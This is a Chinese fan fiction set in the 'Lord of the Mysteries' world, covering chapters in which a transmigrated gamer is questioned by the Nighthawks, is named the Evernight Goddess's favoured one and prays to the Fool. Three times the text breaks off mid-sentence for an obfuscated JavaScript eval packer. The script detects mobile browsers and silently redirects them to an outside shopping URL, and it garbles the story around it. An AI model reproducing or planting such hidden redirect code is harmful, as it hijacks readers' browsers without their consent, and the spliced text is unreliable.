《[诡秘之主]好巧啊你也是愚者信徒?》 1. 苜蓿号的幽灵船客 “就是他吗?” 褐发灰眸,一身制服似的黑风衣的中年警官注视着玻璃后面那个盯着桌上的煤气灯一动不动的红发年轻人,向着身边人问道。 “对,他是这次苜蓿号惨案的幸存者之一,救下他时,我们并没有发现什么特殊之处,但是他告诉我们他失忆了。经过调查,他不在乘客和船员名单上,也没有任何其他的幸存者对他有印象。”引着他来到这里的警察无奈地摊手,叹了口气。 苜蓿号是一艘近期名声骤起的海船,历经海盗追逐、乘客自相残杀、风暴、迷航等多重劫难,生者十不存一时才终于抵达港口,这一系列事件也因其具有的传奇色彩而被反复报道甚至改编成戏剧。 “他为什么会在这里?我记得苜蓿号是在恩马特港上岸的。”名为邓恩的中年警官翻看着警察局提供的资料,低声询问。 “那边的人请仲裁者确认过了,他没有别的记忆也没有什么罪行,而在同时,他唯独对廷根表现出一点熟悉,并且表达了到这里来的想法,所以就被从恩马特港的警方调到我们这了。” 那警察的目光扫过玻璃后面的人,转头看向邓恩,“但是,我们想请你们值夜者来再看看他的梦境。” “——我们怀疑他是个非凡者。” …… 上次见到煤气灯还是在博物馆。 再上上次应该是在某个仿维多利亚风格的景区,不过只是顶着煤气灯的外形的白炽灯。 伊莱亚·加拉哈德心平气和地想。 他还是第一次见到真正的能正常使用并且真的作为实际照明工具的煤气灯。 他能感受到来自玻璃那边的目光,但是他保持着那种近乎漠然的平静。 作为一个打着游戏就穿越到凶案现场,一晃神又进了警局被各种盘问调查,然后还换了地方准备接受新的调查的倒霉蛋,他实在没什么可表达的。 考虑到他几乎完全换了的脸和皮肤,以及显然是纯天然生长、从发根到发芯都变成了暗红色的及肩发,他没有怀疑这是什么隐藏了摄像头的真人秀。 没有什么真人秀能把一个人变成自己游戏账号的样子,更没有什么真人秀能让人一眨眼就突然强大的像是美国队长一样的速度和力量。 其实伊莱亚也不是他真正的名字而是他的账号名,为了融入这个西方世界的设定,他没有把自己真正的、不符合西方语法的名字告知别人。 值得庆幸的是,他的身体能自然而然理解和说出这里的语言,使得他能够和这个世界的人流畅的交流,不至于有什么沟通障碍。 他会的那几种语言可没有一种是在这个世界流行的。 凭借一路见到的事物和服装、饮食,伊莱亚大概能判断出这里类似于维多利亚时代,科技发展到了能熟练运用蒸汽机的程度,而他更熟悉的电力则还没有得到应用。 至于别的……他只能得出这个时代的船设施挺落后,很容易让人晕,警局条件挺一般之类的零碎结论。 他猜,他应该是穿进了游戏。 不过这陌生的、和记忆里的游戏设定差异相当大的一切让他不是很敢确定。 哦,对。伊莱亚的视线从煤气灯上挪开,看向刚刚在门外聊天,转眼就走进审讯室拉开椅子坐下的灰眸警官。 他的听力和视力也都进步了不少,不戴眼镜竟然比穿越之前戴眼镜的时候看的更清楚,整个审讯室里的一切在煤气灯的光芒里一览无余。 也算是这场莫名其妙的穿越里难得的好事吧。 面前的警官翻开手里的资料,声音低沉。 “你叫什么名字?” “伊莱亚·加拉哈德。”伊莱亚早就看腻了屋里的东西,盯着眼前唯一称得上新鲜事物的男人上下端详,他发现这个警官脸上有皱纹,不过还是挺有气质的。 “你为什么会出现在苜蓿号上?” “我睁开眼就在船上了。”伊莱亚听到玻璃那一边传来的原本一直都有的细碎人声消失了。 “你为什么要来廷根?”警官的声音平稳。 “眼熟。这可真是我难得眼熟的地名了——”坐在椅子上的年轻人拉长了声音,“警官,我得声明一下,这可不算我主动来的。我是被这样,”他举起手,示意了一下手上的手铐,“带过来的。” “你是非凡者吗?”警官看了一眼手铐,语调没有什么波动。 “应该是吧?我不知道。你是非凡警察吧?你们专业机构有没有办法给我测一下我是什么序列又是序列几之类的?” “你别这样看我啊,你不觉得你眼神还怪吓人的吗?人民警察可不能这么凶吧?”在灰眸警官越发深邃冷漠的目光和越发沉寂的气氛里,伊莱亚下意识的地后仰,没忍住吐槽出声。 他眨了眨眼,感觉有那么一瞬间,自己好像听到外面有人被呛到的声音? “你真的没有其他记忆了吗?”随着声音一起涌来的是近乎沉郁的浓厚黑暗,在黑暗之中似乎还有诡异绮丽的红色月光。 “没有。我醒来就在船上了,大脑一片空白,睁开眼就是一堆尸体,惊吓还来不及呢,我都不知道发生了什么船就靠岸了,然后就一直在警局里被各种问话。” 审讯室里的声音沉寂了一瞬。 下一刻,一切的阴暗与幽深的气息全然褪去,如同月光下退却的海潮一般消失殆尽。 伊莱亚眼前的警官露出一丝低沉的微笑。 “感谢你的诚实。”他站起身看向进门的年轻警官,“克莱恩,结果怎么样?” “队长,占卜显示他是囚犯途径的非凡者,序列七。”褐瞳年轻人收起手上的黄水晶灵摆,回应道,一边还给邓恩递了一张纸。 作为管理各类非凡者事务的值夜者,了解各类异端、异种和邪教徒是基本的职业素养。由于囚犯途径的非凡者中非常容易出现非凡罪犯,所以值夜者们也都对这一序列有一定的了解。 比如这个序列从序列九到序列七分别是囚犯、疯子、狼人,而这位不在名单上的船客先生,正是一个“狼人”。 克莱恩第一次听到这些名称时还忍不住吐槽这条序列的名字听起来就很不像好人,但在此刻,他并没有把繁多的思绪表露出来。 不过伊莱亚穿越之后那灵敏了无数倍的感觉在告诉他,这人的心率和呼吸都加快了一些,瞳孔也有点无意识的扩张,他在……惊讶? 听到的下一句话就让他明白了为什么克莱恩会是这个态度。 “廷根警察局刚刚收到了来自圣堂的电报,说女神降下神谕,伊莱亚·加拉哈德是祂的眷者。圣堂让我们先带他去教会暂时安置,剩下的会派人来负责。” 原本一直沉稳的邓恩也对着手中的电报流露出明显的意外,“女神的神谕吗?看来伊莱亚先生的身份确实很特殊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334478|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>教会、女神、圣堂,结合廷根这个地名和这个时代的科技水平……伊莱亚眨了眨眼。 他突然有了一种很强的既视感。 他怀疑他确实是穿到了游戏里,只不过是游戏的几百年前。 “你们的说的女神,是不是黑夜女神?” “是。你对此有记忆吗?”克莱恩看了眼邓恩确认队长对此的态度,然后回复伊莱亚。 伊莱亚一边回忆一边自然地装出茫然的样子,摇头。 他虽然有前世的记忆,但是他从游戏里知道的大部分知识都不是这个时代的一个普通的船客该知道的。至于这一世,他的脑海中是真的完全没有任何理论上“穿越者”该有的“原身”记忆。 他也是真的不知道为什么女神会让他当眷者。 伊莱亚在游戏里确实给自己刷出过「女神眷者」和「愚者眷者」的头衔,但是考虑到目前见到的东西的真实性,他并不觉得自己穿越的世界就是印象里那个数据组成的游戏,也并不觉得游戏里有的东西在穿越之后仍然会存在。 ——而且比起女神,他其实更喜欢愚者,在游戏里也只加入了愚者教会。 可惜来的是值夜者,不是愚者教会的提灯者小队……当然女神也很好,感谢女神。伊莱亚在心底默念。 “没关系,你先跟我们走就行。”邓恩的表情从容而平静,“女神和值夜者会向警局为你担保。” “对了,我是黑夜教会值夜者小队的队长,邓恩·史密斯。这是我的队员,克莱恩·莫雷蒂。” “你不担心我刚刚在说谎?” “我在梦境方面姑且有些经验。人在梦里不会说谎。”邓恩拿出钥匙,为伊莱亚解开手铐,“走吧。马车在外面。” 伊莱亚看着手铐从苍白的手腕上脱去,握了一下拳,在他的感觉里,这个手铐应该是困不住他的,甚至他的直觉告诉他,他身体里的力量可以轻松地把这块铁皮捏扁揉圆。 不过他没继续盯着手铐,站起身跟上了邓恩的步伐,终于离开这个他在两个警察局都呆了几天的房间。 三人先后向外走去,而走在最后的克莱恩看到这个神秘失忆的年轻人唇齿微动,似乎吐出了几个音节。 但是并没有发出声音。 他努力拼凑那个口型对应的发音,似乎是五个字? 这是什么?人名吗?他没有看清。 虽然知道队长把人拉进梦境里问过了,也知道人在梦境里不会说谎,但是作为神秘金手指的拥有者,克莱恩早就有过在队长展开的梦境里保持清醒并且回答出包装过的谎言的经历。 克莱恩陷入思索。 他并不觉得“幽灵船客”真的失忆了,也并不觉得伊莱亚说的全是真话,甚至于,考虑到这位新晋眷者在交谈中脱口而出的“人民警察”…… 克莱恩合理怀疑,伊莱亚和他一样,也是个穿越者。 甚至还知道一些不可言说的东西。 但是刚踏入非凡者序列没多久便攒了一大堆秘密的占卜家没有说什么,只是安静的跟随着队长踏上回到他们的老家,即黑荆棘安保公司的马车。 伊莱亚跟着邓恩走完了保释的流程,第一次完全不带任何禁锢的走出警察局。 于是廷根七月的阳光裹着清新的空气向他涌来,仿佛在那一瞬间,陌生而熟悉的崭新世界由此铺开。 “欢迎来到廷根。” 2. 黑荆棘安保公司 廷根警察总局在金梧桐区,靠近市中心的位置,而值夜者的据点黑荆棘安保公司位于北区,在廷根市西北方向。两地之间距离不算很近,但好在坐马车还是比较快的。 伊莱亚坐在马车的一侧,邓恩和克莱恩并肩坐在他对面,没人说话,车内有种奇妙的安静。 其实坐马车对于曾经的伊莱亚而言也是相当新奇且遥远的事情,但是比起在来廷根的路上已经坐过的马车,还是非凡警察和莫名其妙获得的“女神眷者”头衔更让他感兴趣一点。 “你们是干什么的?值夜者是非凡者的专属警察吗?女神眷者又是什么?数量很多吗?” 在游戏里,神明的眷者称号都是定期完成活动限定任务就可以保持的,当然,同时拥有的数量有限制,一般只能有一个,不过在玩家加入了愚者教会的情况下,最多可以同时获得愚者眷者和另一个神明的眷者两个头衔。 对此,玩家主要看法是因为愚者比较仁慈,允许信徒信仰他神。 不过游戏归游戏,在真正有神明、有非凡能力的时代,神明的眷者显然不是什么简单的成就称号。 在这种并非审讯的场合,邓恩的态度与先前截然不同,声音沉静而柔和:“值夜者是黑夜女神教会下属的非凡者队伍,负责处理非凡事件,封印危险物品之类的事务,不过我们也有政府编制,在廷根警察厅特别行动部挂名。” 说到这里,他在胸口轻点了四下,做了个标准的“画红月”,这是黑夜信徒祈祷的仪式,“我并不清楚女神对眷者的定义,不过眷者数量很少,我所知道的只有教宗冕下。” 伊莱亚倒吸一口凉气。 他并不觉得一位神明会随便给一个普通人“眷者”的头衔,更不用说他现在只是一个序列七——还是很不讨喜的经常作为罪犯出现在教会中的囚犯途径。他也没有原身的记忆,甚至不知道穿越之前到底有没有原身这个人,怎么看都不像是能吸引神明注视的样子 总不会是因为女神也是个穿越者然后发现他的身份了吧?那可太神奇了,哈哈。伊莱亚差点被自己发散的思维逗笑。 我和神明当老乡?真的假的? “祂为什么会选,呃,选我?” “我不知道,圣堂派来的使者在路上了,过几天应该会到,到时候那位使者应该能为你解答问题。”灰眸的警官摇了摇头,面色不变。 “好吧。”伊莱亚试图运用自己脑子里并不算多的游戏里的非凡知识进行理解,然后飞快失败,于是靠在椅背上放弃思考。 作为一个在游戏中精通战斗的玩家,他可以背出不眠者序列的全序列主要技能,但是同时,作为一个把所有剧情和设定全部跳过的skip党,他对除了战斗相关的非凡常识保持着一个空白的大脑。 好在马车很快就抵达了目的地。 佐特兰街36号的位置有一个楼梯口,墙面上挂着竖直的招牌,用鲁恩语写着“黑荆棘安保公司”。 伊莱亚盯着那块招牌看了两眼,感觉这玩意有点眼熟,但是一时间找不出什么具体的印象。 可恶,为什么我是囚犯途径,光增强战斗力和偷鸡摸狗能力,不加强记忆和思维水平就算了还可以扣理智加战力…… 早知道就选能唤醒记忆加强脑子的通识者了,这样就可以把那些从脑子里光滑流过的剧情和设定全部想起来,而不像现在这样一无所知了。 前方,邓恩和克莱恩已经轻车熟路地沿着楼梯往上走了,于是他也放弃寻找思绪,跟着踏进了房门。 进门是一个会客厅,摆着几张沙发、座椅和茶几,正对门的是一张桌子,桌后坐着一个正在看报纸,穿着衬衣和长裙的棕发女孩。 那女孩原本一副困意昏沉的样子,一看到进来的邓恩便整个人突然一激灵,下意识站了起来:“队长!克莱恩!” 她的目光很快从两人身上转向他们身后走进门的红发青年,“这位是?” “伊莱亚·加拉哈德。”邓恩为她解答了疑问,“他是一位非凡者。” “他也是非凡者?是有什么事情吗?”名为罗珊的女孩眼睛一下子睁大,仔细打量了一下伊莱亚,不过除了在心底感叹一句长的真好看之外,并没有感觉到他和普通人有什么特别神秘的不同之处。 “具体的情况我也不清楚,我们先进去了。”邓恩嗓音低沉,没有回答太多东西,带着朝罗珊笑了一下的克莱恩和不知思索着什么东西的伊莱亚走向旁边的房门。 这扇门的背后,是值夜者小队真正的据点——众人的办公室、休息室、武器和资料库以及最重要的查尼斯门,都由此而进。 伊莱亚忍不住好奇的打量这里的设施。他在玩游戏的时候也会到类似的地方,但是见到真实存在的官方非凡者据点还是第一次。 一边走,身边黑发的年轻值夜者一遍向他介绍这里各个房间的用途,队长和文职人员的办公室、会计室、休息室和娱乐室,以及有着通往地底的阶梯的房间 他跟着邓恩和克莱恩进入了右手边第三间房,正好对上了几个正围着桌子打牌的值夜者的目光。 几人一叠声的朝着邓恩和克莱恩打招呼,而伊莱亚的目光在那个长相最为出挑的家伙的脸上定格住了。 好眼熟。 真的非常、非常眼熟。 那是一个黑发绿眼,容貌英俊到显眼的年轻男人。要是他气质再严肃静谧一点、头发再长一点、带上红手套再换一身制式风衣的话,这不就是那位总在圣米切尔教堂发任务的主教吗? 虽然他过任务的时候很少看剧情,但是一个序列二级别、拥有自己的教堂的地上天使,还是长的特别帅气的高人气NPC,伊莱亚还是有印象的。 没记错的话……那位主教的名字是,伦纳德·米切尔? “你认识我?”带着一种散漫气质宛如诗人一般的年轻帅哥愣了一下。下一瞬,他似乎听见了什么东西,露出更加惊讶的样子。 伊莱亚这才意识到自己好像把思考的内容说出口了。 他知道记忆里那些游戏、穿越相关的内容不能告诉这个世界的人,但是对于该表现出什么样的“人设”,他也完全没有想法。 毕竟他第一次穿越,不太熟练。 但是既然已经有神秘失忆非凡者的身份,又有来自神明的背书,那就索性顺其自然,当个“什么都不知道但是什么都眼熟”的倒霉失忆者吧。 于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334479|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是伊莱亚对上那双明亮的绿眼,一脸诚恳地摊手:“我也不知道。” 他其实有种微妙的直觉,感觉此刻站在那里的人不止伦纳德,似乎有什么更强的、远比在场的人当中理论上的最强——也就是值夜者小队的队长,序列七的邓恩强的多的存在站在伦纳德身边。 但是他的眼睛和感知都在说那里明明只有伦纳德一个人。 可能是这人身上有什么秘密吧,毕竟是未来的天使,有什么金手指老爷爷或者秘籍空间之类的东西也不无可能。 红发的年轻人很流畅的接上了自己的前一句话:“我感觉你很眼熟,我肯定在哪里见过你。就像我感觉廷根很眼熟一样。” “不过我失忆了,所以我也不知道我到底为什么会有这种感觉。” 听君一席话,如听一席话。站在一旁的克莱恩努力绷住表情,遏制住自己吐槽的欲望。 刚见到这人的时候他觉得这个“失忆”的非凡者肯定有什么秘密,但是现在的他感觉这家伙的表现也不像是很能藏住东西的人……甚至行为间有种莫名的喜感。 不,不能完全放松警惕。伊莱亚来历不明,却有着神明的眷顾,言行举止也莫名指向廷根这座无名的小城。明明以眷者的身份,就算想去首都贝克兰德或者黑夜教会的总部都会备受欢迎。 说不定给人留下这种不靠谱的迷茫失忆小伙的印象就是伊莱亚这样表现的目的。但他到底要干什么,还尚未明确。 克莱恩心念电转之间,邓恩已经把“虽然感觉伦纳德很眼熟但是什么都没想起来”的伊莱亚介绍给了值夜者的正式成员们,也简单介绍了值夜者平常的工作,甚至已经开始聊值夜者的薪资待遇了。 ……什么啊,原来是想加入值夜者吗。 克莱恩松了一口气。 虽然伊莱亚“失忆”了,但是他的常识还在,还能正常和人交流相处,当然也能凭借自己序列七的实力和女神眷者的身份表达想要加入值夜者的愿望。 虽然还不知道非凡能力怎么用,也不知道眷者的身份从何而来,但是既然有这个条件可以拿来当招牌了,那不用白不用。 邓恩没拒绝,不过相当严谨地表示因为没有先例,所以不知道这种情况该怎么处理。毕竟在伊莱亚之前的眷者基本都是板上钉钉的黑夜教会高层,没加入教会甚至不是不眠者序列的女神眷者还是第一次出现。 “只要能加入就很好啦,不算正式成员也可以,主要是你们有什么非凡事件要处理的话,算我一个吧?”伊莱亚暗绿色的眼中流露出几分轻盈的笑意,好似在深潭暮林般的颜色里荡开粼粼波光。 邓恩点了点头,应下了这个请求。 而后,伊莱亚被同样接到了电报,所以从圣赛琳娜教堂(即廷根市黑夜教会总部)赶来的主教接走了,按主教先生的说法,教堂会为眷者阁下提供暂时的居所和生活所需,直到眷者不需要为止。 伊莱亚看着手里整整十张十镑面值的纸币,又看了看面前笑容慈和的老人,瞳孔地震。 他没记错的话,金镑价值很高,最大面值就是十镑,一镑的购买力大约相当于前世的一千元,那么这里的一百镑…… 十万块?? 3. 女神伟大无需多言 “这钱,真是给我的?”伊莱亚难以遏制自己的震惊。 他知道自己现在应该表现出一个毫无常识的失忆者的样子——当然他确实是既没有原身记忆也没有多少非凡知识——但是谁能面对金本位制前提下的一百镑毫无所动! 更不用说他穿越以来并没有为黑夜教会作出任何贡献,光顶着一个眷者名头,还什么都没开始做,他当然也没有无功受禄的想法。 天上掉的馅饼谁敢吃啊。 主教先生倒是态度平静,甚至更加慈祥温和了一些。 “眷者阁下,这是女神的恩赐,您无需为此担忧,女神自有祂的考量,您只需收下就好。”他笑的像是童话故事里的老爷爷,声音里都带着让人信任与安宁的魔力。 “除了这些钱之外,按照女神的神谕,我们会为您提供居所,教会附近就有空置的房子。哦,对了,圣堂那边新发来的电报说他们的库房里有囚犯途径晋升所需要的材料,也会为您带来一份。” 序列的晋升必须要喝魔药,而魔药的调配只有两种选择,一是用对应的非凡物品混合制作而成,二则是直接把另一个非凡者死亡后留下的特性拿来充当主材料。前者材料罕见且难以获取,价格极其高昂,而后者则大多需要杀人。 ——事实上,魔药的获取途径的危险也是非凡相关的一切很容易显得危险疯狂而诡谲的原因之一。 不过伊莱亚所在的途径相比于其他途径而言,相当特殊。 囚犯途径的非凡者可以通过晋升逐步成为异种,而在某些地方,当然也有天生的不是由人类晋升而来的纯天然异种。 从序列七开始,每个序列的魔药主材料正是这个序列的非凡者或者异种的身体部分。比如晋升序列七“狼人”,主材料是狼人的獠牙,晋升序列六“活尸”的时候就需要活尸的心脏…… 不过考虑到囚犯途径的非凡者普遍会被所有正神教会追杀,黑夜教堂保存着相关材料再正常不过。 伊莱亚来不及思考同序列非凡者在材料仓库而他在当神明眷者这种话的地狱程度,茫然地在越来越多的天降馅饼里努力保持镇定,跟着絮絮叨叨交代完了的主教一起在胸口画红月,在教堂正前方巨大的黑夜女神圣徽下默念女神的尊名,向祂祈祷。 他没想过会得到回应,毕竟这只是一次再普通不过的祈祷。 在这个时代,所有神的信徒都会日常祈祷,要是神明什么都听事事都回应,那这神当的可比007还高压忙碌。 然后伊莱亚就感觉眼前一黑,无尽的如同浪潮或者帷幔一般的黑色遮盖住他的视线和听力,教堂的肃穆褪去,取而代之的是更加漫无边际的空旷和更加无与伦比的宁静,仿佛万事万物都于此抵达了尽头和终点,一切都一切皆于此安眠。 下一瞬,他嗅到了花香。 他的眼前依然是一片黑暗,但是轻盈的花香和灵敏的感知为他勾勒出没能看见的一切。 他在一个花圃之中,一个巨大的,栽满了陌生的花朵的花圃,无边无际,似乎连卷过花丛的微风都带着那幽谧而独特的花香。 “这是深眠花,如果你更了解黑夜途径一点,就应该知道这是传说中“被女神所喜爱的花卉”。” 打破这宁静的是一道低低的女声,声音很好听,却带着一种奇异的氛围,那是更深更浓重的安宁,只是听到就快要把人拉入无尽的沉眠之中。 伊莱亚能模糊的感受到这声音是从身后传来的,但是他看不见任何东西,也没法转身直面声音的主人。 而他的直觉拉响了警报,仿佛身后不是什么声音很好听的陌生人,而是一个极其异常极其强大的危险存在。 不是那种非凡能力层面的强大,而是近乎概念性的,如同天笼罩着地,如同太阳与月亮高悬于天一般的统治性的高大宏伟,就好像那崇高无比的星空凝聚成人形,把宇宙的重量和恐怖尽数灌注在这里。 只是站在那里,就足以令人丧失一切反抗的心力和勇气,甚至遗忘一切的思考。 在他的背后。 好恐怖好恐怖好恐怖好强好强好强好强…… 伊莱亚的头顶极快速地长出两只暗红色的三角形狼耳,又在钻出头发的下一刻因警觉与恐惧而侧伏,而露在外面的手和脸颊也飞快的长出暗色的坚硬短毛,指甲变得长而锐利,泛着诡异的光泽。 这是他穿越这几天以来第一次真正使用非凡能力——属于囚犯途径序列七“狼人”的狼人化! 作为极大增强身体素质和恢复力、战斗力、攻击力的序列,狼人的强度在同水平的各序列当中算得上名列前茅。 而此刻,伊莱亚也本能的用出自己最强的能力来抵抗这种恐怖的压力。 当然,他知道这样用处不会太大,因为狼人虽强,最多也就跨几个序列对敌,但他身后的那个不知名存在,没意外的话,是一位…… “我叫阿曼尼西斯,你也可以叫我黑夜女神。”那声音轻柔而静谧。 一位真正的神明。 黑夜女神收敛了身上自带的威压,伊莱亚终于松了一口气,也重新从狼人状态变回了人形。 “谢谢您的宽容。”他的脑子一片空白,近乎本能的按照游戏里无数次看到的接受女神眷顾时的文案进行回复。 女神的回应是一声轻笑。 “不用客气。” 然后伊莱亚准备继续说话的声音猛的僵住了。 他突然意识到,从刚刚女神自我介绍开始,到他的回复,用的都不是这个世界的语言。 而是英语。那个26个字母使用范围极广上学必须学的,英语。 是那门从小学到大,听过说过读过写过无数遍的已经快要刻进dna的语言。 哈哈,之前还在想女神怎么可能跟我是老乡,结果真的是啊。 神怎么可能会说英语呢你看这事闹得,肯定是我听错了吧。 “我知道你是穿越的。”那个轻柔缥缈的声音继续穿进伊莱亚的耳朵,却如同击穿一切思绪的雷霆,“我也并非此世之人。” 女神没等伊莱亚应声,只是连贯地说了下去:“你可以随意使用女神眷者的身份,只要不伤害教会的声誉和利益就行,剩下的东西,你有什么需要的话都可以和教会说。” “只要力所能及,他们都会为你提供帮助。” “……为什么?为什么这样帮我?我有什么值得帮忙值得利用之处吗?”暗红发色的青年眼神依旧空洞而看不见任何东西,声音中却带上了难以言说的紧绷。 他清楚自己绝对不是一个会虔诚的信仰神明的家伙,就算神明真正存在也一样。 他会对身边真实的人报以多种多样的感情,但他绝对不会真正的去信仰任何虚无而崇高的存在,更何况他知道,神明也不过是走到序列顶端,丧失人类情感,只余神性的“人”罢了。 伊莱亚无法对已经没有人类情感的家伙报以信任。 “交易罢了。你现在的序列太低了,我们的交易你听了就会失控。不需要为此感到负担,也不用被身份所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334480|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束缚,你在很久以前就已经支付了超过这些的东西了。”他感到女神的手轻飘飘地拂过他的脸侧,“你只要按你的心意自由行事就好,我相信你的道德和正直。” 最后一个字眼消弭在花香里,须臾之间眼前的一切亮起,伊莱亚的眼中倒映着黑夜教堂的灯火。 他还是站在那里,在空荡的教堂之中,在圣徽之前,似乎从未离开,似乎刚刚的一切都是一场幻梦。 伊莱亚突然感知到自己的肺的存在,呼吸从停止到用力,再到喘着粗气疯狂的咳嗽,好似要把刚刚堆积起来的所有恐惧、压力、迷茫、困惑全部抛却。 “怎么了吗?”主教先生的面容依然慈和,只是带上了些许担忧。 “没什么,”伊莱亚狠狠地咳了几声,断断续续地回复,“我,我刚刚听到女神的声音了,太过激动没控制住。” 他调理好自己的气息,熟练地在胸口点四下,画了个红月,脸上扬起一个微笑,“赞美女神。” 他要保持好自己“女神眷者”的身份。虽然不知道他曾为此付出什么,但是既然不是真正的无端的馈赠,那么他也可以坦然面对,并且认真装的像个虔信徒。 主教看他没问题了,点点头,也重复了一遍赞美,“相信很神谕会给您带来答案。” —— 黑夜教会在周围有不少房产,给神职人员居住,也有一些拿来出租和给有需求的信徒短居。 伊莱亚抱着生活用品,跟着工作人员进了整理好的房子,关上门,没仔细打量房屋装潢,只是把自己往沙发上一扔,长出了一口气。 女神、眷者、游戏、异种、苜蓿号、黑荆棘……一大堆事情叠在一起,带来无尽的疲惫和焦虑、茫然。 他不知道自己究竟是什么,为什么会穿越,不知道女神一上来就坦白身份的意图为何,更不知道那个“交易”的人到底是原身还是被抹去记忆的自己…… 非凡世界好麻烦。 要是能不思考就好了。 深绿色的眼睛直直地盯着木质的天花板吊顶,任由纷乱的思绪漫过脑海。 好半晌,他猛的坐起。 游戏里给过他眷顾的女神在这个世界也知道他的身份并且给他眷者身份的话,那在游戏里对他更好的愚者…… 不会也清楚这些东西吧? 伊莱亚夺门而出,从街上面包店买了一个白面包,又去饭店打包了一份费内波特面,一份海鲜饭和一个迪西馅饼。 然后他在商店买了蜡烛,回到房里,翻出了主教塞给他的一堆仪式材料里的小刀和精油。 “四根蜡烛放四角,浇上精油,然后一边放一份主食……”这是伊莱亚极其稀薄的神秘学知识之中难得被记住的仪式。 虽然玩家们更多称其为“愚者快递”,但是实质上,这是一种必然指向愚者,可以引起愚者兴趣并取悦神明的仪式。 他用银制小刀画出隔绝干扰灵性之墙,然后跪在被布置成祭坛的房间中央,双手十指交握成拳,头颅低垂,娴熟得如同曾经做过无数次祈祷和祭祀那样—— “不属于这个时代的愚者啊;” “你是灰雾之上的神秘主宰;” “你是执掌好运的黄黑之王。” “我祈求您的帮助。” “我祈求您的眷顾。” 水仙花街2号,莫雷蒂宅。 克莱恩·莫雷蒂吃饭的动作突然停住了。 他的灵性受到触动,他听到了不知何处而来的虚幻的呼喊。 4. 好巧啊都是老乡 作为一个正在学习各种非凡知识不停充实自己的新晋非凡者,克莱恩对于仪式魔法也有了许多了解。 这意味着,他知道自己听到的那段话是用于常用于祭祀的赫密斯语,也知道这样的祈祷格式大多指向神明。 他飞快吃完剩下的食物,匆匆向兄长和妹妹说了一声便飞快跑进了自己的房间,逆走四步登上灰雾。 他目前只有序列九,灵性不算非常强大,暂时听不清那祈祷具体的内容。只有在能够增强实力和灵性,剔除干扰的灰雾之上。才能尽可能搞清楚这段咒文里到底说了什么。 浩瀚无垠的灰雾之中是恢宏高大的神殿,神殿中央穹顶之下,是青铜制成的雕花长桌和二十二把高背椅。 克莱恩娴熟的坐在上首,凝神看向新亮起的深红色如星辰一般闪烁着的光点。 上次他看到这样的光点的时候不小心碰到了,然后就把两个人拉上来灰雾,顺势装成复苏的古神,建立了塔罗会。 这次他小心多了,端坐在高背椅上,认真的听着光点里那个虔诚祈祷的人影的言语。 他现在终于能听清这人说的话了,但是这并没有让他很惊喜,因为他突然意识到,这段咒文的每一句话,都在向他靠拢! “不属于这个时代的愚者”,他并非这个时代的人,而他的自称正是愚者; “灰雾之上的神秘主宰”,这片灰雾上,他就是唯一的主人; “执掌好运的黄黑之王”,这句话,他第一下没有反应过来,直到突然灵光一闪——这不就是“福生玄黄天尊”的翻译? 福生玄黄天尊,就是克莱恩登上灰雾前必须念诵的咒文! 很难说想明白咒文含义的那一刻克莱恩有多震撼。他确实有准备研究一段能指向自己的咒文来让塔罗会中的两个成员试试是否有用,但是这不代表他能接受有人突然说出了能指向他的祈祷词! 尤其是,在他还没有想出具体咒文的内容,在愚者这个身份只认识了“倒吊人”先生和“正义”小姐的事实中,怎么可能有人能找到指向“愚者”的三段式描述? 深红色星辰中波浪般晃动的光影里,能看到虔诚垂首,脊背却笔直的身形。 角落里,还能看到几盘熟悉的主食。 ……这暗红色的头发有点眼熟。 克莱恩想。 挺有辨识度,白天刚刚见过。 他当时还吐槽这人名字和言行都有点像穿越者,甚至可能藏了不少秘密,现在眼看着就要露出来一个了。 一个没有身份的、失忆的、甚至不是高序列的非凡者,怎么会知道一位刚刚出现于世上的“神明”? 克莱恩深吸一口气,伸出手指,轻点了一下那个深红色的“星辰”,与其建构了简单的联系。 深红色的光芒爆裂开来,焕发出煌煌光芒,如同骤燃的焰火,又在弥散的灰雾中流淌凝聚成人形。 暗红色的及肩直发,深绿的眼眸,轮廓分明的英俊面孔,一身崭新的教会神职者制服,正是白天刚出警局就喜提女神眷者身份的伊莱亚·加拉哈德。 —— 在察觉到环境变了的下一瞬,伊莱亚近乎本能般的低下头,看向地面上如云朵般卷舒飘散的灰雾,没有直视前方座椅上的神明。 “赞美您,愚者先生。” 他熟练地以手按胸,微微鞠躬。 这是愚者教会的基本礼节,也是每个教会的成员最为熟练的姿势。这个动作在愚者教会中的地位类似于黑夜教会的“画红月”。 他有点紧张,但是姿态还算平静。 